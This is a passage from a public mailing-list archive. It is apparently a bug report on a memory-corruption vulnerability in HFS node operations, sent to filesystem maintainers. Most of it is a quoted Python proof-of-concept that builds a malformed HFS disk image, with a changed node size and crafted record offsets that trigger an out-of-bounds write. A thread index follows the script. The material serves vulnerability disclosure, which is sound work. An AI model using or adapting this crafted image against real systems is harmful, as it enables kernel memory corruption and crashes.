b'\x00\x00\x00\x00\xfd\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 4193933: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 4194300: b'BD\xe57x\x97\xe57x\x97\x01\x00\x00\x00\x00\x03\x00\x00\xf8=\x00\x00B\x00\x00\x01\x08\x00\x00\x13\x00\x00\x00\x10\xf7\xc1\x08untitled\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x0f\xfc\x00\x00\x0f\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00cne\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\xfc\x00\x00\x00\x00>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\xfc\x00\x00>\x00>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'}
> 
> file1 = open('disk1.img', 'wb')
> file1.truncate(1024*1024*1024)
> for k, v in default_file_data.items():
>     file1.seek(k*0x100, 0)
>     file1.write(v)
> file1.close()
> 
> file = open('disk2.img', 'wb+')
> file.truncate(1024*1024*1024)
> for k, v in default_file_data.items():
>     file.seek(k*0x100, 0)
>     file.write(v)
> 
> node_size = 0x8000
> #Change node_size to 0x2000
> file.seek(0x102200 + 0x20, 0)
> file.write(pack('>H', node_size))
> 
> #Arrange root's data_rec_off
> file.seek(0x102200 + node_size - 8, 0)
> file.write(pack('>H H H H', 0x1F8, 0xF8, 0x78, 0x0E))
> 
> file.seek(0x102200 + node_size, 0)
> file.write(default_file_data[0x1024])
> 
> #0x9a-(0x9a+n) -> 0xe8-(0xe8+n)
> #0x1000+k==0xe8+n -> n = 0x1000 - 0xe8 + k
> #(0x9a+n-k) = (0x9a-0xe8+0x1000)->*(0x9a+n-k)=any_data
> 
> data = pack('>H', 0xf0e0)
> k = len(data)
> file.seek(0x102200 + node_size*2 - 8, 0)
> file.write(pack('>H H H H', node_size - 0x1000 + 0x9a - 0xe8 + k, 0x9A, 0x64, 0x0E))
> file.seek(0x102200 + node_size + node_size - 0x1000 - 0xe8 + 0x9a, 0)
> 
> file.write(data)
> file.close()
> 
> ----- END PYTHON SCRIPT -----

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2025-11-18 23:31 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2025-11-17  3:02 Bug Report: Memory Corruption Vulnerability in HFS Node Operations mowenroot
2025-11-17 22:35 ` Viacheslav Dubeyko
2025-11-18  5:50   ` mowenroot
2025-11-18 23:31     ` Viacheslav Dubeyko

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).